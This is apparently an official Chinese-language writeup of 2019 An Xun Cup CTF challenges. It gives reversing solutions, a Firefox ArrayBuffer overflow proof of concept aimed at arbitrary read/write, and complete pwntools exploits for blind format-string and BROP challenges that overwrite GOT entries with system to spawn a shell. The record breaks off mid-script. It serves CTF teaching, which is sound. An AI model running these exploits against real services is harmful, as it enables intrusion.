安洵杯2019 官方Writeup(Re/Pwn/Crypto) - D0g3
P2hm1n CTF 14668浏览 · 2019-12-13 01:30

本文由 @D0g3 编写

i-SOON_CTF_2019 部分题目环境/源码
https://github.com/D0g3-Lab/i-SOON_CTF_2019

广告一波:
H1ve 是一款自研 CTF 平台,同时具备解题、攻防对抗模式。其中,解题赛部分对 Web 和 Pwn 题型,支持独立题目容器及动态 Flag 防作弊。攻防对抗赛部分支持 AWD 一键部署,并配备炫酷地可视化战况界面。
该作品随着安洵杯比赛进程,逐步开源,敬请期待 Github项目地址

Re

crackme

1.main函数之前

程序HOOK了MessageBoxW函数,让其执行一个自己写的函数

2.main函数

输入一串字符串,并且执行了MessageBoxW函数,由于函数被IAT HOOK,执行了自己写的一个函数,在函数之中,改变了BASE64的字母表(大 小写互换)并且添加了异常VEH向量。
执行完函数之后,程序注册了一个SEH,并且触发异常。

3.异常

VEH
异常触发首先执行VEH向量,VEH向量进行了SM4的密钥初始化,并且注册了UnhandledExceptionFilter

SEH
进行了SM4加密

UnhandledExceptionFilter
改变了比较的结果,并且进行变种base64加密

异常回调
执行main函数的比较函数

解密脚本

from pysm4 import encrypt,decrypt
import base64

mk = 0x77686572655F6172655F755F6E6F773F
base_now="yzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/abcdefghijklmnopqrstuvwxi!"
base_init="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/i="

clear="1UTAOIkpyOSWGv/mOYFY4R!!"
clear_re=""
for i in range(len(clear)):
    if(i%2==0):
        clear_re+=clear[i+1]
    else:
        clear_re+=clear[i-1]
c=""
for i in range(len(clear_re)):
    b=base_now.find(clear_re[i])
    c+=base_init[b]
c=base64.b64decode(c)
c=int(c.encode("hex"),16)
clear_num=decrypt(c,mk)
clear_num=hex(clear_num)[2:-1].decode("hex")
print clear_num

Easy Encryption

1.base64解密字符串:YXJ0cWtvZWhxcGtiaWh2

2.将固定字符串按照规则解密即可

字符串:**artqkoehqpkbihv**
    解密如下:
#include <stdio.h>
#include <string.h>
#include <iostream>
using namespace std;

char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char resl[] = "artqkoehqpkbihv";
//D0M3GVOMTOac


char Vignia(char a,int n,int* str1,int h)
{
    return (((int)a - 97 + str1[n+h*15]) % 26 + 97) <= 122
                ? (char)(((int)a - 97 + str1[n+h*15]) % 26 + 97) :
                (char)(((int)a - 97 + str1[n+h*15]) % 26 + 97 - 26);

}

int main()
{
    int len,i, j;
    int key1[1000];
    char flag[30];
    char tmp;
    len = strlen(resl);
    i = 0;

    while (base64[i] != '\0')
    {
        key1[i] = (int)abs(base64[i] - 97);//取绝对值
        i++;
    }


    for (int h = 4; h < len; h++)
    {
        for (j = 48; j < 126; j++)
        {
            for (i = 0; i < 4; i++)
            {
                if (Vignia((char)j, h, key1, i) != resl[h])
                    break;
                flag[h] = (char)j;
            }

        }
    }

    for (int h = 0; h < 4; h++)
    {
        for (j = 48; j < 126; j++)
        {
            for (i = 0; i < 5; i++)
            {
                if (Vignia((char)j, h, key1, i) != resl[h])
                    break;
                flag[h] = (char)j;
            }

        }
    }

    flag[len] = 0x00;
    printf("%s", flag);


    printf("\n");
    return 0;

}#include <stdio.h>
#include <string.h>
#include <iostream>
using namespace std;

char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char resl[] = "artqkoehqpkbihv";
//D0M3GVOMTOac


char Vignia(char a,int n,int* str1,int h)
{
    return (((int)a - 97 + str1[n+h*15]) % 26 + 97) <= 122
                ? (char)(((int)a - 97 + str1[n+h*15]) % 26 + 97) :
                (char)(((int)a - 97 + str1[n+h*15]) % 26 + 97 - 26);

}

int main()
{
    int len,i, j;
    int key1[1000];
    char flag[30];
    char tmp;
    len = strlen(resl);
    i = 0;

    while (base64[i] != '\0')
    {
        key1[i] = (int)abs(base64[i] - 97);//取绝对值
        i++;
    }


    for (int h = 4; h < len; h++)
    {
        for (j = 48; j < 126; j++)
        {
            for (i = 0; i < 4; i++)
            {
                if (Vignia((char)j, h, key1, i) != resl[h])
                    break;
                flag[h] = (char)j;
            }

        }
    }

    for (int h = 0; h < 4; h++)
    {
        for (j = 48; j < 126; j++)
        {
            for (i = 0; i < 5; i++)
            {
                if (Vignia((char)j, h, key1, i) != resl[h])
                    break;
                flag[h] = (char)j;
            }

        }
    }

    flag[len] = 0x00;
    printf("%s", flag);


    printf("\n");
    return 0;
}

此处使用遍历的方式解题

flag:umpnineissogood

Game

这个题目的主要考点是平坦化的去除
题目的加密很简单

输入,然后check1和check3对输入进行了加密处理

变换很简单


解题的关键就是找到原来的数独,和填好的数独,提取填好的数字,然后做check1中的逆向操作就可以得到flag
填入数独的数字为:4693641762894685722843556137219876255986
Flag为:KDEEIFGKIJ@AFGEJAEF@FDKADFGIJFA@FDE@JG@J

leak info

1 触发漏洞,造成溢出
更加样本,修改其中一些部分,然后做到溢出部分修改了某个ArrayBuffer byteLength。
给出样本代码:

let buf = [];
for(var i = 0 ; i < 4 ;i++)
{
    buf[i] = new ArrayBuffer(0x20);
}
var OOb_Object = buf[0];
var ChangeObject_Index = 0;
let buf_uint8 = new Uint8Array(OOb_Object);
let y = new Uint32Array(OOb_Object);
const v4 = [y, y, y, y, y];
function v7(v31) {
    if (v4.length == 0) {
        v4[3] = y;
    }
    const v11 = v4.pop();
    v11[18] = 0xa0; 
    for (let v15 = 0; v15 < 10000; v15++) {}
}
var p = {};
p = [buf_uint8, y, y];
v4.__proto__ = p;

for (let v31 = 0; v31 < 2000; v31++) {
    v7(v31);
}
for(var i = 0 ; i < 10 ; i++)
{
    var len = buf[i].byteLength;
    if( len != 0x20)
    {
        ChangeObject_Index = i;
        break;
    }
}

上面的过程,将触发漏洞修改到 buf[1] 的byteLength 部分。从原来的 0x20 修改为0xa0。
这样就获得一个溢出的ArrayBuffer 对象,如下图。

注意申请的ArrayBuffer在内存的布局,它们是连续的。
另外,使用windbg 进行调试的时候,内存十分庞大,用常规的 s –d 等指令搜索会很慢很慢。
这里建议使用 !address 命令,然后找到类似如下图的内存,这些内存就是一些零散的堆块,用来存放申请的对象等数据。
然后在某一个buf 设置一些特殊值,比如:0x67890001

使用 Notepad++ 的列编辑功能,把上图的地址直接一列抓出来

复制到下面这样的位置,然后复制全部的命令,粘贴到windbg ,进行搜索。


如下图,这样搜索起来,快很多

2.利用溢出的ArrayBuffer
使用长度被该为0xa0的ArrayBuffer ,修改到下一个ArrayBuffer的长度,改为0x90400,这就是一个非常长的ArrayBuffer对象。方便后面做 任意地址读写了。
为什么要用0xa0 的ArrayBuffer来做到这一步,为什么不在漏洞触发的时候,就把0xa0的长度写长一些呢?
这是因为,漏洞触发的时候,混淆的对象是 Uint8Array 与 Uint32Array,Uint8Array 对象每次只能写入一个Byte。所以修改的数据最大也只能是0xFF。
具体情况动手去分析就明白了。

3.任意地址读写
前面,已经有了一个byteLength 为0x90400的ArrayBuffer 。将这个ArrayBuffer初始化,可以初始化化为 Uint8Array,也可以是DataView ,或者Uint32Array。
下面来分析ArrayBuffer在内存中的布局情况(64位与32位是不同的)。
先看如下图:

下面对照上图进行说明:
00000290390070a0 000001af04c10040 Group_ 结构 00000290390070a8 00000290390085b0 Shape 结构
00000290`390070b0 0000000000000000 Slot
结构
00000290390070b8 000007fee27b1d28 xul!mozilla_dump_image+0x22ea9b8 Element_ 结构 00000290390070c0 000001481c803870 数据区域指针,使用时要左移一位
00000290390070c8 fff8800000000020 数据区域大小,byteLength 00000290390070d0 fffe01af04c171c0 指向第一个视图的指针
00000290390070d8 fff8800000000000 flag 位 00000290390070e0 0000000000000000 数据部分
00000290390070e8 0000000000000000 00000290390070f0 0000000000000000
00000290`390070f8 0000000000000000

64位中特别的一点就是 ArrayBuffer 的数据指针是右移一位存放的,使用的时候需要左移一位。这里的数据指针就是: 0x000001481c803870 左移一位 –> 0x00000290`390070e0


做任意地址读写的时候,也需要把要读写的地址,右移一位,放到这个位置去。然后,进行再次进行初始化,就能使用初始化的对象,对这个地址进行读写了。再次进行初始化非常很关键,不要忘记了。
将地址移位的函数很简单,但是,要注意左移和右移的时候,如果地址没有对齐,就会存在丢位。即奇数地址右移就丢了1位,需要另外补齐丢失的。

另外注意的一点,如果初始化为 Uint32Array 进行地址读写的,读取的时候,因为是一个Dword进行读,假如要读取的地址是: 0x00FF123400FF56789 ,那么第一次高8位读取 00FF56789 ,但是 00 会被丢弃,读出的数据是 FF56789 ;第二次低8位读取00FF1234 ,00也被丢弃,读取FF1234。那么,把读取的数据当字符串进行拼接: “FF1234”+ “FF56789” = FF1234FF56789 ,与原地址00FF123400FF56789 不同的是缺少了高8位中丢弃的00。所以用Uint32Array进行读取需要补0。同样,使用Uint8Array 也存在这样的问题,00 会被当做 0 ,也就缺少了一个0。
再次说明:读写地址的时候,先把地址右移一位,然后放到ArrayBuffer的buffer指针位置,
通过 0xa0 这个ArrayBuffer 对0x90400的ArrayBuffer的buffer指针进行操作。然后初始化。

4.任意对象泄露
任意对象的泄露,是方便后续劫持函数,构造fake Class_ 等数据结构的时候,有地方存放,而不是随便放到内存某个位置。

任意对象泄露,是通过Array数组来实现。

在申请ArrayBuffer的时候,紧接着申请一个Array,这个Array分配空间不能太长,太长就会分配到其他位置去。刚刚合适就好,它就会申请在 ArrayBuffer 附近,然后赋特殊值。
myArray[0] = 0x12273447;
myArray[1] = [];
内存中的情况,如下图:


myArray[0] 存放特殊值,用0x90400的ArrayBuffer 进行寻找。找到之后,取出特殊值后面一个Qword ,也就是myArray[1] 。myArray[1] 就可以用来存放任何对象,这样就能泄露任意对象的地址了。

5.最后
现在有了任意地址泄露,任意对象泄露,那么剩下的操作就是水到渠成啦。
可以通过 NativeObject 的 elements 去泄露xul的基地址。


然后通过寻找xul的导入表去泄露 VirtualProtect 地址,就不在赘述。

Pwn

Blindpwn-32位有偏移

首先没有题目,只有端口,连接上去,测试,发现,存在格式化字符串漏洞

然后同时也没有任何数据的回显,只是不断的重复循环,输出你输入的内容

这里需要注意的是,可以通过输入空格或者特殊字符来初步猜测的判断,输入函数是gets还是scanf还是read...因为这三者对于输入的数据的读取是不同的,就比如我本次输入1\n,它却显示了两个换行,那么这个很可能是read函数用来接收输入,但这里只能是猜测

那么,开始思考,我们目前没有任何有用的信息,该如何获取到有用的信息

这里就需要对于pwn进行盲打,dump整个程序下来...

然后根据dump下来的程序来寻找程序的地址,进行分析

同时因为上面输入%p 返回的是4个字节的数据,所以是32位程序

dump程序

计算偏移

dump程序需要首先知道格式化字符串函数的偏移

所以step 1--计算偏移

由于不喜欢手算,直接pwntools跑

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level='debug'
context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "justtest"
libcFileName = ""
ip = "0.0.0.0"
port = 10001

Debug = 1
if Debug:
    io = process(elfFileName)
else:
    io = remote(ip,port)

# calculate the offset
def exec_fmt(payload):
    io.recvuntil("\nPlease tell me:")
    io.sendline(payload)
    info = io.recvuntil("\n")
    return info


auto = FmtStr(exec_fmt)
offset = auto.offset
print "offset is "+ str(offset)

io.interactive()

'''
[*] Found format string offset: 8
offset is 8
'''

我们这里要发现一个问题,就是这个计算偏移下来,存在一个问题就是,我们要保证偏移量足够,就一定要前面增加一个字节的垃圾数据...嘿嘿,这个出题思路很骚...

那么开始快乐的dump程序

dump代码编写

如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开

dump代码编写,其实有点头疼,因为其实对于数据处理来容易出现失误(输出的数据的尾巴,需要处理掉),网上有些博客上提供的dump脚本,有些都是错的...这里整理各位大佬的脚本,最后写出了一个比较合理的脚本

dump需要注意前面输出的内容,9个字节的Repeater:

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']

p = process("./pwn1")
f = open("pwn1bin", "ab+")

begin = 0x8048000
offset = 0
#i=0
p.recvuntil('Please tell me:')
while True:#i<13:#True:#
    addr = begin + offset   
    p.sendline("x%10$saaa" + p32(addr))
    try:
        #info = p.recv(4)

        info = p.recvuntil('aaa',drop=True)[10:]
        remain = p.recvrepeat(0.2)#weiba
        print info.encode("hex")
        print len(info)
    except EOFError:
        print "offset is " + str(offset)
        break
    if len(info)==0:
        print "info is null"
        offset += 1
        f.write('\x00')
    else:
        info += "\x00"
        offset += len(info)
        f.write(info)
        f.flush()
    #i = i + 1
    print "offset is " + str(offset)
f.close()
p.close()

前面可以先利用我设计的i来测试基地址,因为我们根本不知道这个程序的保护机制,所以我们没法知道是否开启了ASLR,那么测试基地址重要性,就来了,32位程序的基地址是0x8048000,如果在此地址上面,返回的数据的确是0x7F454C46,那么就是没有开启ASLR,如果开启了,那就需要爆破搜索到这些字符,也能同样的dump下来

然后其中有段remain = p.recvrepeat(0.2)#tail这里很重要,就是为了读取前面截断数据后面输出的垃圾数据,这也是很多博客提供的脚本没法dump的原因...(不知道他们是如何dump的,可能有什么其它的骚操作?)

还有一个就是,读取的所有null,都应该转换为\x00,这样子就可以把scanf读取数据\x00截断的问题,给解决了

dump程序的分析

dump下来的程序是没法运行(没有SHT,dump下来的时候是通过EOF来进行判断结尾的,但是SHT的偏移是0x18dc但是程序运行的时候,是不会把这些数据载入到地址上的)

我们直接ida打开发现,还是可以分析的,很开心的

还行,就是plt/got表显示的残缺不全...但是其实还是可以找得到的...

如果对于ida逆向分析程序熟悉的,应该知道,start函数的倒数第二行的loc_804856B就是main函数的地址

那么双击点击进入,N 改名...发现出来的是前面那段输出的代码,其中后面的循环输出代码,没有出来,那么取消改名,nop掉一些ida无法解析的代码,改下面那段汇编代码的名字为main,ok

F5,快乐...

程序整体结构完全展示出来了,就差分析函数的作用了...这边直接根据左下角的导入函数列表来分析使用的函数功能就完事了

改名字后,整个结构其实是这样子的

OK,完全简单了...就是简单的格式化字符串漏洞了,写exp...

exp

printf函数的地址,直接利用plt/got的知识,寻找到就行...

  • leak address
  • use LibcSearcher to find libc
  • getshell

写exp的时候注意,system函数是可以通过增加分号,来执行多条命令的

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
Debug = 1
if Debug:
    io = process("./pwn1")
else:
    io = remote('',)

#dump bin can not be loaded
#but can analysis
offset = 8
#step 1 leak the printf_got
#maybe plt 08048400
io.recvuntil('Please tell me:')
printf_got = 0x0804A014
payload_leak = 'x' + p32(printf_got) + "%8$s"
io.send(payload_leak)
libc_printf = u32(io.recv()[14:18])
print hex(libc_printf)

#step 2 find the libc
libc = LibcSearcher('printf',libc_printf)
libcbase = libc_printf - libc.dump('printf')
system_addr = libcbase + libc.dump('system')

#step 3 cover the address
payload_cover = 'x' + fmtstr_payload(8,{printf_got : system_addr},numbwritten=10)
io.sendline(payload_cover)
io.recv()

#step 4 get shell
io.sendline(";/bin/sh")

io.interactive()

参考链接

Blindpwn-64位有偏移

首先没有题目,只有端口,连接上去,测试,发现,存在格式化字符串漏洞

然后同时也没有任何数据的回显,只是不断的重复循环,输出你输入的内容

这里需要注意的是,可以通过输入空格或者特殊字符来初步猜测的判断,输入函数是gets还是scanf还是read...因为这三者对于输入的数据的读取是不同的,就比如我本次输入1\n,它却显示了两个换行,那么这个很可能是read函数用来接收输入,但这里只能是猜测,因为read是最好的利用函数...

那么,开始思考,我们目前没有任何有用的信息,该如何获取到有用的信息

这里就需要对于pwn进行盲打,dump整个程序下来...

然后根据dump下来的程序来寻找程序的地址,进行分析

同时因为输入%p 返回的是8个字节的数据,所以是64位程序

dump程序

计算偏移

dump程序需要首先知道格式化字符串函数的偏移

所以step 1--计算偏移

由于不喜欢手算,直接pwntools跑,加

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "./stilltest"
libcFileName = ""
ip = "0.0.0.0"
port = 10001

Debug = 1
if Debug:
    io = process(elfFileName)
else:
    io = remote(ip,port)

# calculate the offset
def exec_fmt(payload):
    io.recvuntil("\nPlease tell me:")
    io.sendline(payload)
    info = io.recvuntil("\n")
    return info


auto = FmtStr(exec_fmt)
offset = auto.offset
print "offset is "+ str(offset)

io.interactive()

'''
[*] Found format string offset: 8
offset is 8
'''

那么开始快乐的dump程序

dump代码编写

如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开

dump代码编写,其实有点头疼,因为其实对于数据处理来容易出现失误(输出的数据的尾巴,需要处理掉),网上有些博客上提供的dump脚本,有些都是错的...这里整理各位大佬的脚本,最后写出了一个比较合理的脚本

dump需要注意前面输出的内容,9个字节的Repeater:

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'#critical/debug
p = process("./stilltest")
f = open("stilltestbin", "ab+")
#f = open("64weiba", "ab+")

begin = 0x400000
offset = 0
i=0
p.recvuntil('Please tell me:')
while True:#i<13:#True:#
    addr = begin + offset   
    p.sendline("%10$saabbccddeef" + p64(addr))
    try:
        #info = p.recv(4)
        info = p.recvuntil('aabbccddeef',drop=True)[9:]
        remain = p.recvrepeat(0.2)#recv the tail to dump in cicle
        print info.encode("hex")
        print len(info)
    except EOFError:
        print "offset is " + str(offset)
        break
    if len(info)==0:
        print "info is null"
        offset += 1
        f.write('\x00')
    else:
        info += "\x00"
        offset += len(info)
        f.write(info)
        f.flush()
    #i = i + 1
    print "offset is " + str(offset)
f.close()
p.close()
#'''

前面可以先利用我设计的i来测试基地址,因为我们根本不知道这个程序的保护机制,所以我们没法知道是否开启了ASLR,那么测试基地址重要性,就来了,64位程序的基地址是0x400000,如果在此地址上面,返回的数据的确是0x7F454C46,那么就是没有开启ASLR

然后其中有段remain = p.recvrepeat(0.2)#tail这里很重要,就是为了读取前面截断数据后面输出的垃圾数据,这也是很多博客提供的脚本没法dump的原因...(不知道他们是如何dump的,可能有什么其它的骚操作?)

还有一个就是,读取的所有null,都应该转换为\x00,这样子就可以把scanf读取数据\x00截断的问题,给解决了

这个出现一个问题,就是偏移到了4096字节,就会报错

首先操作系统中分页上 512 * 8 = 4096个字节为一页,而且分析了很多不同的64位elf文件,发现有两个段之间的偏移会很大...你看

后面的段,从开始到文件结尾都是固定长度,但是我们一直dump,只能dump到这里,就会结束,因为一页,没了,那么后面的程序.got,.got.plt 和extern,如果愿意,也可以找到地址去dump到部分的地址值,最后根据plt/got表的格式进行分析,但是这太麻烦,需要分析文件头的结构中记录的地址偏移....(如果想要dump也可以用我的脚本,修改上你计算过的地址偏移,再把后面的数据dump下来,容易出问题,但是只要计算的值是对的,就没问题)

那么在这里,我们拿着残缺的程序,其实还是可以分析的...

dump程序的分析

dump下来的程序没法运行,同时载入的时候需要设置一下...

我们直接ida打开,找到代码段,分析汇编代码...

其实和分析32位程序一样的,虽然没法一下子找到start代码中对应的main的地址,但是我们通过分析汇编跳转,我们还是很容易找到,main函数的地址的...readelf -h 读取elf header,找到start函数地址,然后找到main函数的地址

但是这里我们最好不要反汇编出来,因为真的没什么用,64位程序的参数都是放入寄存器的,分析汇编出结果,比分析反汇编出来的伪代码来的快

如果不改,直接分析汇编代码,仔细分析,根据提示.txt,还是可以看出结构的..

慢慢分析这个结构就出来了:慢慢自己改名字...这里为什么不要根据F5出来的结果来看参数,要看汇编代码来判断

循环,调用函数...emmm,确实头疼,要猜,要根据功能和提示,才能最后判断...

那么剩下的就是去找到不同函数的got表的地址,熟悉plt表和got原理就知道双击strlen.可以泄露strlen函数地址

OK,完全简单了...就是简单的格式化字符串漏洞了,写exp...

exp

写exp注意\x00截断

发现printf函数的地址是不能用来泄露的...

我发现问题出现在于printf函数的地址上,很多时候pwn题在载入的时候,这个函数的地址都会是被scanf printf函数给解析的,解析了他们地址上的特殊符号...所以这个真的不好用...只能最好找到替代品,puts函数,或者strlen函数...常见的是strlen函数和puts函数一直都是格式化字符串钟爱的使用漏洞点...

源码

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

int main(void){
    //init
    setbuf(stdout,0);
    setbuf(stdin,0);
    setbuf(stderr,0);
    printf("Hello,I am a computer Repeater updated.\nAfter a lot of machine learning,I know that the essence of man is a reread machine!\n");
    printf("So I'll answer whatever you say!\n");

    char buf[257];
    char format[300];
    unsigned int len1 = 0;
    while(1){
        alarm(3);
        memset(buf,0,sizeof(char)*257);
        memset(format,0,sizeof(char)*300);
        printf("Please tell me:");
        read(0,buf,256);
        sprintf(format,"Repeater:%s\n",buf);
        len1 = strlen(format);
        if(len1 > 270){
            printf("what you input is really long!");
            exit(0);
        }
        printf(format);
    }
    printf("game over!\n");
    return 0;
}

解题思路还是和32位一样:

找到strlen函数的地址,直接利用plt/got的知识,寻找到就行...

  • leak address
  • use LibcSearcher to find libc
  • getshell

自己写的一个关键函数

但是getshell cover覆盖地址的时候需要改变代码:(珍贵的反序函数代码用来把地址放在后面...纯手工冰粉,现做现卖...)

def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
    config = {
        32 : {
            'byte': (4, 1, 0xFF, 'hh', 8),
            'short': (2, 2, 0xFFFF, 'h', 16),
            'int': (1, 4, 0xFFFFFFFF, '', 32)},
        64 : {
            'byte': (8, 1, 0xFF, 'hh', 8),
            'short': (4, 2, 0xFFFF, 'h', 16),
            'int': (2, 4, 0xFFFFFFFF, '', 32)
        }
    }

    if write_size not in ['byte', 'short', 'int']:
        log.error("write_size must be 'byte', 'short' or 'int'")

    number, step, mask, formatz, decalage = config[context.bits][write_size]

    payload = ""

    payload_last = ""
    for where,what in writes.items():
        for i in range(0,number*step,step):
            payload_last += pack(where+i)

    fmtCount = 0
    payload_forward = ""

    key_toadd = []
    key_offset_fmtCount = []


    for where,what in writes.items():
        for i in range(0,number):
            current = what & mask
            if numbwritten & mask <= current:
                to_add = current - (numbwritten & mask)
            else:
                to_add = (current | (mask+1)) - (numbwritten & mask)

            if to_add != 0:
                key_toadd.append(to_add)
                payload_forward += "%{}c".format(to_add)
            else:
                key_toadd.append(to_add)
            payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
            key_offset_fmtCount.append(offset + fmtCount)
            #key_formatz.append(formatz)

            numbwritten += to_add
            what >>= decalage
            fmtCount += 1


    len1 = len(payload_forward)

    key_temp = []
    for i in range(len(key_offset_fmtCount)):
        key_temp.append(key_offset_fmtCount[i])

    x_add = 0
    y_add = 0
    while True:

        x_add = len1 / 8 + 1
        y_add = 8 - (len1 % 8)

        for i in range(len(key_temp)):
            key_temp[i] = key_offset_fmtCount[i] + x_add

        payload_temp = ""
        for i in range(0,number):
            if key_toadd[i] != 0:
                payload_temp += "%{}c".format(key_toadd[i])
            payload_temp += "%{}${}n".format(key_temp[i], formatz)

        len2 = len(payload_temp)

        xchange = y_add - (len2 - len1)
        if xchange >= 0:
            payload = payload_temp + xchange*'a' + payload_last
            return payload;
        else:
            len1 = len2

完整exp

那么完整的exp对于增加了strlen函数的题目之后就是这样子了:

#-*- coding:utf-8 –*-
from pwn import *
import time
from LibcSearcher import LibcSearcher
#context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
Debug = 1
if Debug:
    io = process("./stilltest")
else:
    io = remote('0.0.0.0',10003)

def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
    config = {
        32 : {
            'byte': (4, 1, 0xFF, 'hh', 8),
            'short': (2, 2, 0xFFFF, 'h', 16),
            'int': (1, 4, 0xFFFFFFFF, '', 32)},
        64 : {
            'byte': (8, 1, 0xFF, 'hh', 8),
            'short': (4, 2, 0xFFFF, 'h', 16),
            'int': (2, 4, 0xFFFFFFFF, '', 32)
        }
    }

    if write_size not in ['byte', 'short', 'int']:
        log.error("write_size must be 'byte', 'short' or 'int'")

    number, step, mask, formatz, decalage = config[context.bits][write_size]

    payload = ""

    payload_last = ""
    for where,what in writes.items():
        for i in range(0,number*step,step):
            payload_last += pack(where+i)

    fmtCount = 0
    payload_forward = ""

    key_toadd = []
    key_offset_fmtCount = []


    for where,what in writes.items():
        for i in range(0,number):
            current = what & mask
            if numbwritten & mask <= current:
                to_add = current - (numbwritten & mask)
            else:
                to_add = (current | (mask+1)) - (numbwritten & mask)

            if to_add != 0:
                key_toadd.append(to_add)
                payload_forward += "%{}c".format(to_add)
            else:
                key_toadd.append(to_add)
            payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
            key_offset_fmtCount.append(offset + fmtCount)
            #key_formatz.append(formatz)

            numbwritten += to_add
            what >>= decalage
            fmtCount += 1


    len1 = len(payload_forward)

    key_temp = []
    for i in range(len(key_offset_fmtCount)):
        key_temp.append(key_offset_fmtCount[i])

    x_add = 0
    y_add = 0
    while True:

        x_add = len1 / 8 + 1
        y_add = 8 - (len1 % 8)

        for i in range(len(key_temp)):
            key_temp[i] = key_offset_fmtCount[i] + x_add

        payload_temp = ""
        for i in range(0,number):
            if key_toadd[i] != 0:
                payload_temp += "%{}c".format(key_toadd[i])
            payload_temp += "%{}${}n".format(key_temp[i], formatz)

        len2 = len(payload_temp)

        xchange = y_add - (len2 - len1)
        if xchange >= 0:
            payload = payload_temp + xchange*'a' + payload_last
            return payload;
        else:
            len1 = len2
#dump bin can not be loaded
#but can analysis
offset = 8
#step 1 leak the printf_got
#maybe plt 08048400
strlen_got = 0x601020
strlen_leak = "%9$s" + "SEND" + p64(strlen_got)
io.send(strlen_leak)
io.recvuntil('Repeater:')
libc_strlen = u64(io.recvuntil('SEND', drop=True).ljust(8, '\x00'))
print hex(libc_strlen)
#libc_printf = u64(io.recv()[8:16])
#print hex(libc_printf)
io.recv()

#step 2 find the libc
libc = LibcSearcher('strlen',libc_strlen)
libcbase = libc_strlen - libc.dump('strlen')
system_addr = libcbase + libc.dump('system')
print hex(system_addr)
#step 3 cover the address

payload_antitone = antitone_fmt_payload(8,{strlen_got : system_addr},write_size='short',numbwritten=9)
#payload_cover = fmtstr_payload(8,{putchar_got : system_addr},write_size='short')
io.sendline(payload_antitone)
io.recv()

#step 4 get shell
#time.sleep(10)
io.sendline(";/bin/sh\x00")
#io.recv()
print hex(system_addr)
io.interactive()

参考链接

BROP

标准的brop的思路,本来出题想要加上canary以及write和strcmp,可惜环境容易崩,测试的时候,总是崩溃....没法上题

emm...步骤比较多

nc链接上去,发现,输入了,然后回显,然后没了...

使用%p也没用...那就猜测是否是否有栈区溢出

暴力破解-获取偏移

猜测是否有栈区溢出

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
ip = "0.0.0.0"
port = 10001

def getbufferflow_length():
    i = 1
    while True:
        try:
            io = remote(ip,port)
            io.recvuntil("Please tell me:")
            io.sendline(i*'a')
            output = io.recvuntil("Goodbye!\n",timeout=1)
            print output
            #hello = io.recv()
            io.close()
            #print "[*] the index is " + str(output.find('Goodbyte!'))
            if output == "":
                return i - 1
            else:
                i += 1
        except EOFError:
            io.close()
            return i - 1

length = getbufferflow_length()
print length

获取stop_gadget--main

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
gadget_array = []
def get_stop_addr(length):
    addr = 0x4007D0#7D0

    while 1:
        try:
            sh = remote('127.0.0.1', 10001)
            sh.recvuntil("Please tell me:")
            payload = 'a' * length + p64(addr)
            sh.sendline(payload)
            #sh.recvuntil("Repeater:")
            sh.recv()
            recvstr = sh.recv()
            sh.close()
            if recvstr.startswith('Hello'):
                gadget_array.append(addr)
                return gadget_array
            print 'one success addr: 0x%x' % (addr)
            addr += 1
        except Exception:
            addr += 1
            sh.close()
length = 216
stop_gadget = get_stop_addr(length)
for i in range(len(stop_gadget)):
    print 'one success addr: 0x%x' % (stop_gadget[i])


#0x4007d6

获取brop_gadget--libc_csu_init

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
def get_brop_gadget(length, stop_gadget, addr):
    try:
